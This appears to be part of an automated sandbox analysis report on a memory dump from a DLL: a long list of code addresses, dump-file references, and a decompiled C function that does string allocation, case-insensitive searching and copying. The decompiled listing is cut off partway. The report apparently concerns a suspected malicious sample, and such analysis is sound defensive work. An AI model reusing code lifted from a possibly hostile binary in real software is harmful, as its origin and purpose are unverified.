0x6e672879
0x6e67287e
0x6e6728df
0x6e6728e1
0x6e6728e3
0x6e67292c
0x6e67292c
0x6e672931
0x6e672933
0x6e672935
0x6e67293d
0x6e67293f
0x6e672945
0x6e672947
0x6e672949
0x6e672980
0x00000000
0x6e672980
0x6e67294b
0x6e67294d
0x6e672973
0x6e672973
0x6e672975
0x6e672976
0x6e67297b
0x00000000
0x6e67297b
0x6e67294f
0x6e672952
0x6e672954
0x6e672956
0x00000000
0x00000000
0x6e672958
0x6e672958
0x6e67295a
0x6e67295a
0x6e67295b
0x6e672960
0x6e672964
0x6e672966
0x00000000
0x00000000
0x6e672968
0x6e67296c
0x6e67296f
0x6e672971
0x00000000
0x00000000
0x00000000
0x6e672971
0x00000000
0x6e67295a
0x6e6728e5
0x6e6728e8
0x00000000
0x00000000
0x6e6728ea
0x6e6728ee
0x6e6728ee
0x6e6728f1
0x6e6728f4
0x6e6728f7
0x6e6728fb
0x6e6728fe
0x6e672901
0x6e672901
0x6e672903
0x6e672906
0x6e67290a
0x6e67290c
0x6e67290c
0x6e67290f
0x6e672912
0x6e672915
0x6e672918
0x6e67291b
0x6e67291e
0x00000000
0x00000000
0x6e672924
0x6e672925
0x6e672926
0x6e67292a
0x00000000
0x00000000
0x00000000
0x6e67292a
0x6e6729b6
0x6e6729ba
0x6e6729be
0x6e6729c0
0x00000000
0x00000000
0x6e6729cb
0x6e6729ce
0x6e6729d6
0x6e6729da
0x6e6729de
0x6e6729de
0x6e6729e1
0x6e6729e5
0x6e6729e9
0x6e6729e9
0x6e6729eb
0x6e6729ed
0x6e672a0a
0x6e672a16
0x6e672a1a
0x6e672a1a
0x6e672a20
0x6e672a24
0x6e672a24
0x6e672a29
0x6e672a2d
0x6e672a31
0x6e672a33
0x00000000
0x00000000
0x6e672a39
0x6e672a3c
0x6e672a3e
0x00000000
0x00000000
0x6e672a40
0x6e672a44
0x6e672a48
0x6e672a4e
0x6e672a6b
0x6e672a6b
0x6e672a70
0x6e672a70
0x6e672a74
0x6e672a74
0x6e672a76
0x6e672a7a
0x6e672a7e
0x6e672a82
0x6e672a82
0x6e672a86
0x6e672a89
0x6e672a90
0x6e672a99
0x6e672a9c
0x6e672a9f
0x6e672aa5
0x6e672aa8
0x6e672aab
0x6e672aad
0x6e672ab0
0x00000000
0x00000000
0x6e672abc
0x6e672abe
0x6e672ac7
0x6e672ac7
0x6e672acb
0x6e672acf
0x6e672ad3
0x6e672ad3
0x6e672ad5
0x00000000
0x00000000
0x6e672adb
0x6e672add
0x6e672aee
0x6e672afa
0x6e672afa
0x6e672b00
0x6e672b00
0x6e672b05
0x6e672b09
0x6e672b0d
0x6e672b0f
0x00000000
0x00000000
0x6e672b15
0x6e672b18
0x6e672b1a
0x00000000
0x00000000
0x6e672b1c
0x6e672b22
0x6e672b33
0x6e672b33
0x6e672b38
0x6e672b3a
0x6e672b3a
0x6e672b3d
0x6e672b51
0x6e672b5d
0x6e672b5d
0x6e672b63
0x6e672b63
0x6e672b68
0x6e672b6c
0x6e672b70
0x6e672b72
0x00000000
0x00000000
0x6e672b78
0x6e672b7b
0x6e672b7d
0x00000000
0x00000000
0x6e672b7f
0x6e672b85
0x6e672b96
0x6e672b96
0x6e672b9b
0x6e672b9f
0x6e672ba3
0x6e672ba5
0x6e672ba8
0x6e672bab
0x6e672bad
0x6e672baf
0x6e672bb2
0x6e672bb4
0x6e672bb7
0x6e672bb7
0x6e672bb9
0x6e672bbd
0x6e672d0b
0x6e672d0b
0x6e672d12
0x6e672d14
0x6e672d1a
0x6e672d1c
0x6e672d1e
0x6e672d58
0x00000000
0x6e672d58
0x6e672d20
0x6e672d22
0x6e672d48
0x6e672d48
0x6e672d4a
0x6e672d4b
0x6e672d50
0x00000000
0x6e672d50
0x6e672d24
0x6e672d27
0x6e672d29
0x6e672d2b
0x00000000
0x00000000
0x6e672d2d
0x6e672d2d
0x6e672d2f
0x6e672d2f
0x6e672d30
0x6e672d35
0x6e672d39
0x6e672d3b
0x00000000
0x00000000
0x6e672d3d
0x6e672d41
0x6e672d44
0x6e672d46
0x00000000
0x00000000
0x00000000
0x6e672d46
0x00000000
0x6e672d2f
0x6e672bc3
0x6e672bc7
0x00000000
0x00000000
0x6e672bcd
0x6e672bcf
0x6e672c36
0x6e672c3b
0x6e672c3b
0x6e672c3e
0x6e672c41
0x6e672c44
0x6e672c46
0x6e672c59
0x6e672c5c
0x6e672c5c
0x6e672c62
0x6e672c6a
0x6e672c6a
0x6e672c6a
0x6e672c6d
0x6e672c74
0x6e672c77
0x6e672c78
0x6e672c7c
0x6e672c81
0x6e672c85
0x6e672c87
0x6e672c8d
0x6e672c8f
0x6e672c91
0x6e672cd6
0x00000000
0x6e672c93
0x6e672c93
0x6e672c95
0x6e672cc1
0x6e672cc1
0x6e672cc3
0x6e672cc4
0x6e672cc8
0x6e672ccd
0x6e672cd1
0x6e672cd9
0x6e672cd9
0x6e672cdc
0x6e672cdf
0x6e672ce1
0x6e672ce1
0x6e672ce3
0x00000000
0x00000000
0x6e672ce9
0x6e672ced
0x6e672cf3
0x6e672cf3
0x6e672cf6
0x6e672cf7
0x6e672cf9
0x6e672cfb
0x00000000
0x00000000
0x6e672cfd
0x6e672cff
0x6e672d60
0x00000000
0x6e672d60
0x6e672d01
0x6e672d01
0x6e672d03
0x00000000
0x00000000
0x6e672cf1
0x6e672cf2
0x6e672cf2
0x6e672cf2
0x6e672cf3
0x6e672c97
0x6e672c9a
0x6e672c9c
0x6e672c9e
0x00000000
0x00000000
0x6e672ca0
0x6e672ca3
0x6e672ca3
0x6e672ca5
0x6e672ca5
0x6e672ca6
0x6e672cab
0x6e672caf
0x6e672cb1
0x00000000
0x00000000
0x6e672cb3
0x6e672cb7
0x6e672cba
0x6e672cbc
0x00000000
0x00000000
0x00000000
0x6e672cbc
0x6e672cbe
0x00000000
0x6e672cbe
0x6e672c91
0x6e672c48
0x00000000
0x6e672c48
0x6e672bd1
0x6e672bd5
0x6e672bd5
0x6e672bd8
0x6e672bec
0x6e672bf8
0x6e672bf8
0x6e672bfe
0x6e672bfe
0x6e672c03
0x6e672c07
0x6e672c0b
0x6e672c0d
0x00000000
0x00000000
0x6e672c13
0x6e672c16
0x6e672c18
0x00000000
0x00000000
0x6e672c1a
0x6e672c20
0x6e672c31
0x6e672c31
0x00000000
0x00000000
0x00000000
0x00000000
0x6e672c22
0x6e672c22
0x6e672c22
0x6e672c26
0x00000000
0x00000000
0x6e672c28
0x6e672c29
0x6e672c2f
0x00000000
0x00000000
0x00000000
0x6e672c2f
0x00000000
0x6e672c22
0x6e672d69
0x6e672d6c
0x00000000
0x6e672d6c
0x6e672bdc
0x6e672bde
0x6e672bde
0x6e672be1
0x6e672be1
0x6e672be5
0x00000000
0x00000000
0x6e672be7
0x6e672be8
0x6e672bea
0x00000000
0x00000000
0x00000000
0x6e672bea
0x00000000
0x00000000
0x00000000
0x00000000
0x6e672b87
0x6e672b87
0x6e672b87
0x6e672b8b
0x00000000
0x00000000
0x6e672b8d
0x6e672b8e
0x6e672b94
0x00000000
0x00000000
0x00000000
0x6e672b94
0x00000000
0x6e672b87
0x6e672d73
0x6e672d76
0x00000000
0x6e672d76
0x6e672b41
0x6e672b43
0x6e672b43
0x6e672b46
0x6e672b46
0x6e672b4a
0x00000000
0x00000000
0x6e672b4c
0x6e672b4d
0x6e672b4f
0x00000000
0x00000000
0x00000000
0x6e672b4f
0x00000000
0x00000000
0x00000000
0x00000000
0x6e672b24
0x6e672b24
0x6e672b24
0x6e672b28
0x00000000
0x00000000
0x6e672b2a
0x6e672b2b
0x6e672b31
0x00000000
0x00000000
0x00000000
0x6e672b31
0x00000000
0x6e672b24
0x6e672d7d
0x6e672d80
0x00000000
0x6e672d80
0x6e672adf
0x6e672ae1
0x6e672ae1
0x6e672ae3
0x6e672ae3
0x6e672ae7
0x00000000
0x00000000
0x6e672ae9
0x6e672aea
0x6e672aec
0x00000000
0x00000000
0x00000000
0x6e672aec
0x00000000
0x6e672ae3
0x6e672ac0
0x6e672ac1
0x6e672ac5
0x00000000
0x00000000
0x00000000
0x6e672ac5
0x6e672d87
0x6e672d8b
0x6e672d8f
0x6e672d95
0x6e672d95
0x6e672d96
0x00000000
0x00000000
0x6e672d9c
0x6e672da5
0x6e672daa
0x6e672dad
0x6e672db1
0x00000000
0x00000000
0x6e672db7
0x6e672dbb
0x6e672dbf
0x6e672dbf
0x6e672dc0
0x6e672dc1
0x6e672dcb
0x6e672dd1
0x6e672dd4
0x6e672dd6
0x00000000
0x00000000
0x6e672dd8
0x6e672ddb
0x00000000
0x00000000
0x00000000
0x6e672ddd
0x00000000
0x6e672dbf
0x6e672a50
0x6e672a54
0x6e672a54
0x6e672a58
0x00000000
0x00000000
0x6e672a5e
0x6e672a5f
0x6e672a65
0x00000000
0x00000000
0x6e672a67
0x00000000
0x6e672a67
0x6e672de2
0x6e672de2
0x6e672de6
0x6e672de6
0x6e672de8
0x00000000
0x00000000
0x6e672dee
0x00000000
0x00000000
0x6e672df4
0x6e672df8
0x00000000
0x6e672df8
0x6e672e01
0x6e672e04
0x6e672e08
0x6e672e0a
0x00000000
0x6e672e0a
0x6e6729ef
0x6e6729f3
0x6e6729f5
0x6e6729f5
0x6e6729f7
0x6e6729f7
0x6e6729fb
0x00000000
0x00000000
0x6e672a01
0x6e672a02
0x6e672a04
0x00000000
0x00000000
0x6e672a06
0x00000000
0x6e672a06
0x00000000
0x6e672e10
0x6e672e10
0x6e672e14
0x6e672e18
0x6e672e18
0x00000000
0x6e672e20
0x00000000
0x6e67287e
0x6e672807
0x6e67280a
0x6e67280c
0x6e67280e
0x00000000
0x00000000
0x6e672810
0x6e672814
0x6e672814
0x6e672816
0x6e67281a
0x6e67281d
0x6e67281d
0x6e67281e
0x6e672823
0x6e672827
0x6e672829
0x00000000
0x00000000
0x6e67282b
0x6e67282f
0x6e672832
0x6e672834
0x00000000
0x00000000
0x00000000
0x6e672834
0x6e672836
0x6e67283a
0x6e67283e
0x00000000
0x6e67283e
0x6e672801
0x6e6727bf
0x00000000
0x6e6727bf
0x6e67273b
0x6e67273b
0x6e67273e
0x6e672756
0x6e67275a
0x6e672766
0x6e672766
0x6e67276c
0x6e67276c
0x6e672771
0x6e672775
0x6e672779
0x6e67277b
0x00000000
0x00000000
0x6e672781
0x6e672784
0x6e672786
0x00000000
0x00000000
0x6e672788
0x6e67278e
0x6e6727a3
0x6e6727a3
0x6e6727a8
0x00000000
0x00000000
0x00000000
0x00000000
0x6e672790
0x6e672790
0x6e672790
0x6e672794
0x00000000
0x00000000
0x6e67279a
0x6e67279b
0x6e6727a1
0x00000000
0x00000000
0x00000000
0x6e6727a1
0x6e672e25
0x6e672e25
0x6e672e28
0x6e672e36
0x6e672e2a
0x6e672e2a
0x6e672e2d
0x6e672e2d
0x00000000
0x6e672e28
0x6e672e40
0x6e672e43
0x00000000
0x6e672e43
0x6e672742
0x6e672744
0x6e672744
0x6e672747
0x6e672747
0x6e67274b
0x00000000
0x00000000
0x6e672751
0x6e672752
0x6e672754
0x00000000
0x00000000
0x00000000
0x6e672754
0x00000000
0x6e672747
0x6e672728
0x00000000
0x6e672728
0x6e6726de
0x6e672704
0x6e672704
0x6e672706
0x6e672707
0x6e67270c
0x00000000
0x6e67270c
0x6e6726e0
0x6e6726e3
0x6e6726e7
0x00000000
0x00000000
0x6e6726e9
0x6e6726eb
0x6e6726eb
0x6e6726ec
0x6e6726f1
0x6e6726f7
0x00000000
0x00000000
0x6e6726f9
0x6e6726fd
0x6e672702
0x00000000
0x00000000
0x00000000
0x6e672702
0x00000000

Strings

@, xrefs: 6E672718

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 933df8fe11205ce58da33e9f299d6ed847c0e435b40f8ebfae3a0afc1ac406fd
Instruction ID: bdcf36fc311e8c030f39e2a98b08bb124e7dbaa5aba7a57b1e6df689c956a43f
Opcode Fuzzy Hash: 933df8fe11205ce58da33e9f299d6ed847c0e435b40f8ebfae3a0afc1ac406fd
Instruction Fuzzy Hash: 86323BB0A083934BDF25CEB9C49032A7BE67FC7314F19866DE8E54B295DA35C945C382

Uniqueness

Uniqueness Score: -1.00%

Function 6E671730, Relevance: 1.9, Strings: 1, Instructions: 649
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6E671730(unsigned int __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				unsigned int _v68;
				char* _t181;
				signed int _t182;
				signed int* _t188;
				signed int _t192;
				signed int* _t193;
				signed int _t198;
				signed int _t202;
				signed int _t205;
				void* _t206;
				signed int _t211;
				signed int _t214;
				signed int _t226;
				signed int _t228;
				signed int _t233;
				signed int _t236;
				signed int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t244;
				signed int _t245;
				signed int _t251;
				signed int _t252;
				signed int _t258;
				signed int _t260;
				signed int _t261;
				char _t262;
				char _t263;
				signed int _t264;
				signed int _t265;
				void* _t268;
				signed int _t270;
				char _t272;
				unsigned int _t275;
				signed int _t276;
				signed int _t279;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				intOrPtr* _t295;
				void* _t296;
				signed int _t297;
				intOrPtr* _t298;
				signed int _t299;
				signed int _t300;
				void* _t301;
				signed int _t303;
				signed int _t309;
				signed int _t312;
				signed int _t314;
				signed int _t320;
				signed int _t321;
				signed int _t323;
				signed int _t324;
				void* _t325;
				signed int _t326;
				signed int _t327;
				signed int _t330;
				signed int* _t331;
				void* _t332;
				signed int _t333;
				signed int _t334;
				signed int _t335;
				signed int _t339;
				intOrPtr* _t341;
				signed int _t342;
				signed int _t343;
				signed int _t347;
				char _t349;
				char _t350;
				char _t351;
				unsigned int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t360;
				signed int _t361;
				signed int _t363;
				unsigned int _t368;
				signed int _t370;
				signed int _t372;
				signed int _t377;
				signed int _t378;
				signed int _t379;
				signed int _t382;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				void* _t391;

				_v56 = 0;
				_t353 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t363 = E6E661030();
				_t391 = (_t388 & 0xfffffff0) - 0x34 + 4;
				_t181 = _v56;
				if(_t181 == 0) {
					 *_t363 = 0;
					L8:
					_t182 = _a8;
					_v52 = 0x40;
					_v56 = _t363;
					if(_t182 != 0) {
						__eflags = _t363;
						if(_t363 == 0) {
							_t260 = 0x40;
							_t240 = 0;
							L22:
							_t20 = _t240 + 2; // 0x80000001
							_t289 = _t20;
							__eflags = _t289 - 0x40;
							_t290 =  <=  ? 0x40 : _t289;
							__eflags = _t260 - _t290;
							if(_t260 < _t290) {
								_t368 = (_t290 >> 5 >> 0x1a) + _t290 >> 6;
								_t291 = _t290 & 0x8000003f;
								__eflags = _t291;
								if(_t291 < 0) {
									_t291 = (_t291 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t291;
								}
								__eflags = _t291;
								_t370 = _t368 + (0 | _t291 > 0x00000000) << 6;
								_push(_t370);
								_t261 = E6E661030();
								_t391 = _t391 + 4;
								_t292 = _v56;
								__eflags = _t292;
								if(_t292 == 0) {
									 *_t261 = 0;
									goto L35;
								} else {
									__eflags = _t261;
									if(_t261 == 0) {
										L33:
										_push(1);
										_push(_t292);
										_v68 = _t261;
										E6E6610B0();
										_t261 = _v68;
										_t391 = _t391 + 8;
										L35:
										_v52 = _t370;
										_v56 = _t261;
										L36:
										 *((char*)(_t261 + _t240)) = _a8;
										_t188 =  &_v56;
										 *((char*)(_t240 +  *_t188 + 1)) = 0;
										L37:
										_t294 =  *_t188;
										if(_t294 == 0) {
											L39:
											_t295 = _a4;
											_push(0x40);
											 *_t295 = 0;
											 *((intOrPtr*)(_t295 + 4)) = 0;
											_t241 = E6E661030();
											_t391 = _t391 + 4;
											_t192 =  *_a4;
											if(_t192 == 0) {
												 *_t241 = 0;
												L60:
												_t193 = _a4;
												 *_t193 = _t241;
												_t193[1] = 0x40;
												L61:
												_push(1);
												_push(_v56);
												E6E6610B0();
												_v56 = 0;
												_v52 = 0;
												return _a4;
											}
											if(_t241 == 0) {
												L45:
												_push(1);
												_push(_t192);
												E6E6610B0();
												_t391 = _t391 + 8;
												goto L60;
											}
											_t296 =  *_t192;
											 *_t241 = _t296;
											if(_t296 == 0) {
												goto L45;
											}
											_t297 = 0;
											while(1) {
												_t297 = _t297 + 1;
												_t262 =  *((char*)(_t192 + _t297 * 2 - 1));
												 *((char*)(_t241 + _t297 * 2 - 1)) = _t262;
												if(_t262 == 0) {
													goto L45;
												}
												_t263 =  *((char*)(_t192 + _t297 * 2));
												 *((char*)(_t241 + _t297 * 2)) = _t263;
												if(_t263 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t198 =  *_t294;
										if(_t198 != 0) {
											_t355 =  *_t353;
											__eflags = _t355;
											if(_t355 == 0) {
												L52:
												_t298 = _a4;
												_push(0x40);
												 *_t298 = 0;
												 *((intOrPtr*)(_t298 + 4)) = 0;
												_t241 = E6E661030();
												_t391 = _t391 + 4;
												_t202 =  *_a4;
												__eflags = _t202;
												if(_t202 == 0) {
													 *_t241 = 0;
													goto L60;
												}
												__eflags = _t241;
												if(_t241 == 0) {
													L58:
													_push(1);
													_push(_t202);
													E6E6610B0();
													_t391 = _t391 + 8;
													goto L60;
												}
												_t299 =  *_t202;
												 *_t241 = _t299;
												__eflags = _t299;
												if(_t299 == 0) {
													goto L58;
												}
												_t300 = 0;
												__eflags = 0;
												while(1) {
													_t300 = _t300 + 1;
													_t264 =  *((char*)(_t202 + _t300 * 2 - 1));
													 *(_t241 + _t300 * 2 - 1) = _t264;
													__eflags = _t264;
													if(_t264 == 0) {
														goto L58;
													}
													_t265 =  *((char*)(_t202 + _t300 * 2));
													 *(_t241 + _t300 * 2) = _t265;
													__eflags = _t265;
													if(_t265 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t355;
											if( *_t355 == 0) {
												goto L52;
											}
											_v48 = _t198;
											_t372 = _t198 - 0x41;
											__eflags = _t372 - 0x19;
											_v64 = _t372;
											_t267 =  >  ? _t198 : _t198 + 0x20;
											_t243 =  >  ? _t198 : _t198 + 0x20;
											_t268 = 0;
											__eflags = 0;
											_v68 =  >  ? _t198 : _t198 + 0x20;
											_v36 = _t294;
											_t244 = _t355;
											while(1) {
												_t301 =  *_t244;
												__eflags = _t301 - 0x41 - 0x19;
												_t302 =  <=  ? _t301 + 0x20 : _t301;
												__eflags = ( <=  ? _t301 + 0x20 : _t301) - _v68;
												if(( <=  ? _t301 + 0x20 : _t301) == _v68) {
													break;
												}
												_t268 = _t268 + 1;
												_t244 = _t244 + 1;
												__eflags =  *((char*)(_t268 + _t355));
												if( *((char*)(_t268 + _t355)) != 0) {
													continue;
												}
												goto L52;
											}
											_t205 = _v48;
											_t303 = _v36;
											__eflags = _t244;
											if(_t244 == 0) {
												goto L52;
											}
											_t270 = _t303 & 0x0000000f;
											_v44 = _t205 + 0x20;
											asm("pxor xmm0, xmm0");
											_v40 = _t355;
											_t377 =  ~_t270 + 0x10;
											__eflags = _t377;
											_v48 = _t205;
											_v36 = _t303;
											do {
												_t356 = _t270;
												__eflags = _t270;
												if(_t270 == 0) {
													L69:
													_v32 = _t377;
													_t309 =  ~( ~_t356 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t309;
													_t378 = _v36;
													while(1) {
														asm("movdqu xmm1, [esi+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t205;
														if(_t205 != 0) {
															break;
														}
														_t356 = _t356 + 0x10;
														__eflags = _t356 - _t309;
														if(_t356 < _t309) {
															continue;
														}
														_v36 = _t378;
														_t379 = _v32;
														__eflags = _t309 - 0x7fffffff;
														if(_t309 >= 0x7fffffff) {
															L77:
															_t309 = 0x7fffffff;
															L78:
															_v60 = _t309;
															_t206 = 0;
															__eflags = 0;
															_v68 = _t270;
															_v32 = _t379;
															while(1) {
																_t310 =  *((char*)(_t206 + _t244));
																_t272 =  *((char*)(_t206 + _v36));
																_t110 = _t310 - 0x61; // 0x7fffff9e
																__eflags = _t110 - 0x19;
																_t111 = _t310 - 0x20; // 0x7fffffdf
																_t311 =  <=  ? _t111 :  *((char*)(_t206 + _t244));
																__eflags = _t272 - 0x61 - 0x19;
																_t312 =  <=  ? _t111 :  *((char*)(_t206 + _t244));
																_t273 =  <=  ? _t272 - 0x20 : _t272;
																_t274 =  <=  ? _t272 - 0x20 : _t272;
																__eflags = _t312 - ( <=  ? _t272 - 0x20 : _t272);
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t312;
																if(_t312 == 0) {
																	L83:
																	_t360 = _v40;
																	__eflags = _t244;
																	if(_t244 == 0) {
																		goto L52;
																	}
																	_t245 = _t244 - _t360;
																	__eflags = _t245;
																	if(_t245 != 0) {
																		_t279 = _t360 & 0x0000000f;
																		__eflags = _t279;
																		if(_t279 == 0) {
																			L97:
																			_t320 =  ~( ~_t279 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																			__eflags = _t320;
																			while(1) {
																				asm("movdqu xmm1, [edi+ecx]");
																				asm("pcmpeqb xmm1, xmm0");
																				asm("pmovmskb eax, xmm1");
																				__eflags = _t205;
																				if(_t205 != 0) {
																					break;
																				}
																				_t279 = _t279 + 0x10;
																				__eflags = _t279 - _t320;
																				if(_t279 < _t320) {
																					continue;
																				}
																				__eflags = _t320 - 0x7fffffff;
																				if(_t320 >= 0x7fffffff) {
																					L103:
																					_t320 = 0x7fffffff;
																					L104:
																					_t211 = _t320 >> 0x0000001f & _t320;
																					_t321 = _t320 - _t211;
																					__eflags = _t245;
																					if(_t245 < 0) {
																						L106:
																						_t245 = _t321;
																						L107:
																						_t280 = _a4;
																						 *_t280 = 0;
																						 *((intOrPtr*)(_t280 + 4)) = 0;
																						_t386 = _t211 + _t360;
																						__eflags = _t386;
																						_v64 = _t386;
																						if(_t386 == 0) {
																							L141:
																							_push(0x40);
																							_t241 = E6E661030();
																							_t391 = _t391 + 4;
																							_t214 =  *_a4;
																							__eflags = _t214;
																							if(_t214 == 0) {
																								 *_t241 = 0;
																								goto L60;
																							}
																							__eflags = _t241;
																							if(_t241 == 0) {
																								L147:
																								_push(1);
																								_push(_t214);
																								E6E6610B0();
																								_t391 = _t391 + 8;
																								goto L60;
																							}
																							_t323 =  *_t214;
																							 *_t241 = _t323;
																							__eflags = _t323;
																							if(_t323 == 0) {
																								goto L147;
																							}
																							_t324 = 0;
																							__eflags = 0;
																							while(1) {
																								_t324 = _t324 + 1;
																								_t281 =  *((char*)(_t214 + _t324 * 2 - 1));
																								 *(_t241 + _t324 * 2 - 1) = _t281;
																								__eflags = _t281;
																								if(_t281 == 0) {
																									goto L147;
																								}
																								_t282 =  *((char*)(_t214 + _t324 * 2));
																								 *(_t241 + _t324 * 2) = _t282;
																								__eflags = _t282;
																								if(_t282 != 0) {
																									continue;
																								}
																								goto L147;
																							}
																							goto L147;
																						}
																						__eflags =  *(_t360 + _t211);
																						if( *(_t360 + _t211) == 0) {
																							goto L141;
																						}
																						__eflags = _t245;
																						if(_t245 != 0) {
																							L121:
																							_t137 = _t245 + 1; // 0x80000000
																							_t325 = _t137;
																							__eflags = _t325 - 0x40;
																							_t326 =  <=  ? 0x40 : _t325;
																							__eflags = _t326;
																							if(_t326 > 0) {
																								_v68 = (_t326 >> 5 >> 0x1a) + _t326 >> 6;
																								_t327 = _t326 & 0x8000003f;
																								__eflags = _t327;
																								if(_t327 < 0) {
																									_t327 = (_t327 - 0x00000001 | 0xffffffc0) + 1;
																									__eflags = _t327;
																								}
																								__eflags = _t327;
																								_t330 = _v68 + (0 | _t327 > 0x00000000) << 6;
																								_v68 = _t330;
																								_push(_t330);
																								_t387 = E6E661030();
																								_t391 = _t391 + 4;
																								_t226 =  *_a4;
																								__eflags = _t226;
																								if(_t226 == 0) {
																									 *_t387 = 0;
																									goto L133;
																								} else {
																									__eflags = _t387;
																									if(_t387 == 0) {
																										L131:
																										_push(1);
																										_push(_t226);
																										E6E6610B0();
																										_t391 = _t391 + 8;
																										L133:
																										_t331 = _a4;
																										_t331[1] = _v68;
																										 *_t331 = _t387;
																										L134:
																										__eflags = _t387;
																										if(_t387 == 0) {
																											goto L61;
																										}
																										_t283 = _v64;
																										_t332 = 0;
																										while(1) {
																											_t228 =  *_t283;
																											_t332 = _t332 + 1;
																											 *_t387 = _t228;
																											__eflags = _t245;
																											if(_t245 == 0) {
																												goto L139;
																											}
																											__eflags = _t332 - _t245;
																											if(_t332 == _t245) {
																												 *(_t387 + 1) = 0;
																												goto L61;
																											}
																											L139:
																											__eflags = _t228;
																											if(_t228 == 0) {
																												goto L61;
																											}
																											_t387 = _t387 + 1;
																											_t283 = _t283 + 1;
																											__eflags = _t283;
																										}
																									}
																									_t333 =  *_t226;
																									 *_t387 = _t333;
																									__eflags = _t333;
																									if(_t333 == 0) {
																										goto L131;
																									}
																									_t284 = 0;
																									__eflags = 0;
																									while(1) {
																										_t284 = _t284 + 1;
																										_t334 =  *((char*)(_t226 + _t284 * 2 - 1));
																										 *(_t387 + _t284 * 2 - 1) = _t334;
																										__eflags = _t334;
																										if(_t334 == 0) {
																											goto L131;
																										}
																										_t335 =  *((char*)(_t226 + _t284 * 2));
																										 *(_t387 + _t284 * 2) = _t335;
																										__eflags = _t335;
																										if(_t335 != 0) {
																											continue;
																										}
																										goto L131;
																									}
																									goto L131;
																								}
																							}
																							_t387 = 0;
																							goto L134;
																						}
																						_t361 = _t360 + _t211;
																						_t339 = _t361 & 0x0000000f;
																						__eflags = _t339;
																						if(_t339 == 0) {
																							L114:
																							_t245 =  ~( ~_t339 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																							__eflags = _t245;
																							while(1) {
																								asm("movdqu xmm1, [edi+edx]");
																								asm("pcmpeqb xmm1, xmm0");
																								asm("pmovmskb eax, xmm1");
																								__eflags = _t211;
																								if(_t211 != 0) {
																									break;
																								}
																								_t339 = _t339 + 0x10;
																								__eflags = _t339 - _t245;
																								if(_t339 < _t245) {
																									continue;
																								}
																								__eflags = _t245 - 0x7fffffff;
																								if(_t245 >= 0x7fffffff) {
																									L120:
																									_t245 = 0x7fffffff;
																									goto L121;
																								} else {
																									goto L118;
																								}
																								while(1) {
																									L118:
																									__eflags =  *((char*)(_t245 + _t361));
																									if( *((char*)(_t245 + _t361)) == 0) {
																										goto L121;
																									}
																									_t245 = _t245 + 1;
																									__eflags = _t245 - 0x7fffffff;
																									if(_t245 < 0x7fffffff) {
																										continue;
																									}
																									goto L120;
																								}
																								goto L121;
																							}
																							asm("bsf ebx, eax");
																							_t245 = _t245 + _t339;
																							goto L121;
																						}
																						_t245 = 0;
																						_t339 =  ~_t339 + 0x10;
																						__eflags = _t339;
																						while(1) {
																							__eflags =  *((char*)(_t245 + _t361));
																							if( *((char*)(_t245 + _t361)) == 0) {
																								goto L121;
																							}
																							_t245 = _t245 + 1;
																							__eflags = _t245 - _t339;
																							if(_t245 < _t339) {
																								continue;
																							}
																							goto L114;
																						}
																						goto L121;
																					}
																					__eflags = _t245 - _t321;
																					if(_t245 <= _t321) {
																						goto L107;
																					}
																					goto L106;
																				} else {
																					goto L101;
																				}
																				while(1) {
																					L101:
																					__eflags =  *((char*)(_t320 + _t360));
																					if( *((char*)(_t320 + _t360)) == 0) {
																						goto L104;
																					}
																					_t320 = _t320 + 1;
																					__eflags = _t320 - 0x7fffffff;
																					if(_t320 < 0x7fffffff) {
																						continue;
																					}
																					goto L103;
																				}
																				goto L104;
																			}
																			asm("bsf edx, eax");
																			_t320 = _t320 + _t279;
																			goto L104;
																		}
																		_t320 = 0;
																		_t279 =  ~_t279 + 0x10;
																		__eflags = _t279;
																		while(1) {
																			__eflags =  *((char*)(_t320 + _t360));
																			if( *((char*)(_t320 + _t360)) == 0) {
																				goto L104;
																			}
																			_t320 = _t320 + 1;
																			__eflags = _t320 - _t279;
																			if(_t320 < _t279) {
																				continue;
																			}
																			goto L97;
																		}
																		goto L104;
																	}
																	_t341 = _a4;
																	_push(0x40);
																	 *_t341 = 0;
																	 *((intOrPtr*)(_t341 + 4)) = 0;
																	_t241 = E6E661030();
																	_t391 = _t391 + 4;
																	_t233 =  *_a4;
																	__eflags = _t233;
																	if(_t233 == 0) {
																		 *_t241 = 0;
																		goto L60;
																	}
																	__eflags = _t241;
																	if(_t241 == 0) {
																		L91:
																		_push(1);
																		_push(_t233);
																		E6E6610B0();
																		_t391 = _t391 + 8;
																		goto L60;
																	}
																	_t342 =  *_t233;
																	 *_t241 = _t342;
																	__eflags = _t342;
																	if(_t342 == 0) {
																		goto L91;
																	}
																	_t343 = 0;
																	__eflags = 0;
																	while(1) {
																		_t343 = _t343 + 1;
																		_t286 =  *((char*)(_t233 + _t343 * 2 - 1));
																		 *(_t241 + _t343 * 2 - 1) = _t286;
																		__eflags = _t286;
